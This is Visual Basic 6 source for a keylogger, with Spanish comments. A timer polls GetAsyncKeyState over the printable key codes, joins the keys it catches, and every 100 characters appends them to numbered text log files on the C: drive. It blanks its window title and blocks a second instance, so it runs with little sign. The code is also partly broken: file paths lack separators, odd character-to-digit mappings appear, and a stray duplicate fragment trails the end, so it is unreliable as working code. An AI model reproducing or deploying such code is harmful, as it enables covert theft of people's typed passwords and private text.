Private Sub Form_Load()


          If App.PrevInstance Then
    End
End If

  



App.Title = ""
Dim Result As String


Result = sSave
'Pone sSave listo para seguir
sSave = ""
'se le asigna valor a i
'con este se crea el archivo y se escribe en el solo si no existe el Page Ranking 1
Text2 = 0
End Sub

Private Sub Text2_Change()
Dim i As String
Dim Result As String
Dim Numfree As Byte
Dim f As Byte
Dim n As Byte
Numfree = FreeFile
Text1 = sSave

'este es para hacer el cont y crear los numeros en serie
If Text2 = 100 Then
If Dir("c:cont.txt") = "" Then ' sino existe el cont lo creamos
Open "c:cont.txt" For Output As Numfree
Print #Numfree, 1 ' le damos el valor de uno
Close Numfree
Else
Open "c:cont.txt" For Input As Numfree 'si si existe
Input #Numfree, f ' le damos el valor de uno
Close Numfree
Open ("c:cont.txt") For Output As Numfree ' despues al valor que recoge (f) le sumamos uno y lo cerramos
Print #Numfree, f + 1
Close Numfree
End If
End If

'crear y capturar el log
i = 1
If Text2 = 100 Then ' despues de veinte pulsaciones
If Dir("c:prueba" & i & ".txt") <> "" Then ' si es el primer log
Open "c:prueba" & i & ".txt" For Append As Numfree ' lo creamos el log 1
Print #Numfree, Text1
Close Numfree ' lo cerramos


Else
Open "c:cont.txt" For Input As Numfree
Input #Numfree, n
Close Numfree
i = n + 1
Open "c:prueba" & i & ".txt" For Append As Numfree
Print #Numfree, Text1
Close Numfree
End If
End If
If Text2 = 100 Then
Text2 = 0
sSave = ""
End If
End Sub
Private Sub Timer1_Timer()
Text1 = sSave
Text2 = Len(Text1)

'Llama a GetPressedKey y lo guarda en Ret
Ret = GetPressedKey
'Si Ret y sOld son distintos
'guarda Ret en sOld
'y lo concatena con sSave
Select Case Ret
    Case "`"
        Ret = 0
    Case "a"
        Ret = 1
    Case "b"
        Ret = 2
    Case "c"
        Ret = 3
    Case "d"
        Ret = 4
    Case "e"
        Ret = 5
    Case "f"
        Ret = 6
    Case "g"
        Ret = 7
    Case "h"
        Ret = 8
    Case "i"
        Ret = 9
End Select


If Ret <> sOld Then
sOld = Ret
sSave = sSave + sOld
End If
End Sub

Option Explicit



'API para verificar las teclas
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
'variables
Global Cnt As Long
Global sSave As String
Global sOld As String
Global Ret As String

Function GetPressedKey() As String
'Recorre los caracteres imprimibles
For Cnt = 32 To 128
'Detecta el estado de la tecla
'si es distinto de 0 es que esta presionada
'así que la retorna como resultado
'de la llamada a la funcion
If GetAsyncKeyState(Cnt) <> 0 Then
GetPressedKey = Chr$(Cnt)
Exit For
End If
Next Cnt
End Function

If GetAsyncKeyState(Cnt) <> 0 Then 
GetPressedKey = Chr$(Cnt)